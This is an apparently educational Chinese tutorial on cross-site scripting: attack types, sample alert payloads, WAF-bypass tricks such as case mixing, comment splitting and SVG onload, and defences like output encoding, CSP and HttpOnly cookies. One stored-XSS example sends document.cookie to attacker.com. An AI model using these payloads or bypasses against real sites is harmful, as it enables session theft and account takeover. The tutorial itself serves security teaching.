星火计划 | XSS从零到一入门实战
字数 1687 2025-08-15 21:30:26
XSS从零到一入门实战教学文档
第一章 渗透中XSS从零到一
1.1 什么是XSS攻击
XSS(Cross-Site Scripting)跨站脚本攻击是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本代码,当其他用户访问该页面时,这些脚本会在用户浏览器中执行。
关键特征:
- 攻击者利用网页开发时留下的漏洞注入恶意指令代码
- 恶意代码通常以JavaScript为主,但也可能包括Java、VBScript、ActiveX、Flash或普通HTML
- 攻击成功后,攻击者可能获取:更高权限、私密网页内容、会话和cookie等敏感信息
1.2 XSS的攻击类型
1.2.1 基于攻击场景的分类
-
反射型XSS(非持久型)
- 恶意脚本作为请求的一部分发送到服务器
- 服务器在响应中直接包含这些恶意脚本
- 需要诱骗用户点击特制链接才能触发
-
存储型XSS(持久型)
- 恶意脚本被永久存储在目标服务器上(如数据库、消息论坛、访客日志等)
- 每当用户浏览受影响的页面时,脚本就会自动执行
- 危害更大,影响范围更广
-
DOM型XSS
- 完全在客户端执行,不涉及服务器端
- 通过修改DOM环境在客户端直接执行恶意代码
1.2.2 基于攻击目标的分类
-
Cookie窃取
- 通过document.cookie获取用户会话信息
- 将cookie发送到攻击者控制的服务器
-
JavaScript后门
- 植入持久性恶意脚本
- 可远程控制受害者浏览器
-
会话劫持
- 获取用户会话令牌
- 冒充用户身份执行操作
-
钓鱼攻击
- 伪造登录表单
- 诱骗用户输入凭证
1.3 反射型与存储型的区别
| 特征 | 反射型XSS | 存储型XSS |
|---|---|---|
| 持久性 | 非持久 | 持久 |
| 触发方式 | 需要用户点击特制链接 | 自动触发 |
| 存储位置 | 不存储在服务器 | 存储在服务器 |
| 危害范围 | 单个用户 | 所有访问受影响页面的用户 |
| 常见场景 | 搜索框、错误消息 | 评论、留言板、用户资料 |
1.4 XSS利用及WAF绕过方式
1.4.1 基本利用技术
-
简单注入
<script>alert('XSS')</script> -
事件处理器
-
伪协议
<a href="javascript:alert('XSS')">Click</a> -
编码绕过
1.4.2 WAF绕过技术
-
大小写混合
<ScRiPt>alert('XSS')</sCrIpT> -
标签属性分割
-
使用非字母字符
-
利用HTML实体编码
-
注释干扰
<scr<!-- -->ipt>alert('XSS')</scr<!-- -->ipt> -
JavaScript伪协议变形
<a href="jAvAsCrIpT:alert('XSS')">Click</a> -
利用SVG标签
<svg/onload=alert('XSS')> -
利用iframe标签
<iframe src="javascript:alert('XSS')"></iframe>
1.5 XSS防御措施
-
输入过滤
- 对用户输入进行严格验证
- 过滤或转义特殊字符(<, >, ", ', &等)
-
输出编码
- 根据输出上下文进行适当的编码(HTML, JavaScript, URL等)
- 使用安全的API如textContent代替innerHTML
-
内容安全策略(CSP)
- 通过HTTP头限制可执行脚本的来源
- 示例:
Content-Security-Policy: default-src 'self'
-
HttpOnly Cookie
- 设置Cookie的HttpOnly属性防止通过JavaScript访问
-
X-XSS-Protection
- 启用浏览器内置的XSS过滤器
- 示例:
X-XSS-Protection: 1; mode=block
-
框架安全
- 使用现代框架(React, Angular, Vue等)内置的XSS防护
- 避免使用不安全的API
实战演练
反射型XSS示例
攻击者构造恶意URL:
http://example.com/search?query=<script>alert('XSS')</script>
服务器未过滤直接返回:
<p>您搜索的是: <script>alert('XSS')</script></p>
存储型XSS示例
攻击者在评论框中输入:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
服务器存储后,所有访问该页面的用户都会向攻击者发送cookie。
DOM型XSS示例
漏洞代码:
document.write('Hello, ' + location.hash.substring(1));
攻击URL:
http://example.com#<script>alert('XSS')</script>
总结
XSS攻击是Web安全中最常见且危险的漏洞之一,攻击者可以通过多种方式注入恶意脚本,获取用户敏感信息或执行未授权操作。防御XSS需要开发者在输入验证、输出编码、安全策略等多方面采取措施。理解XSS的原理、类型和绕过技术对于安全从业人员至关重要。
最佳实践:
- 永远不要信任用户输入
- 根据上下文进行适当的输出编码
- 实施严格的内容安全策略
- 定期进行安全测试和代码审计
- 保持框架和库的最新版本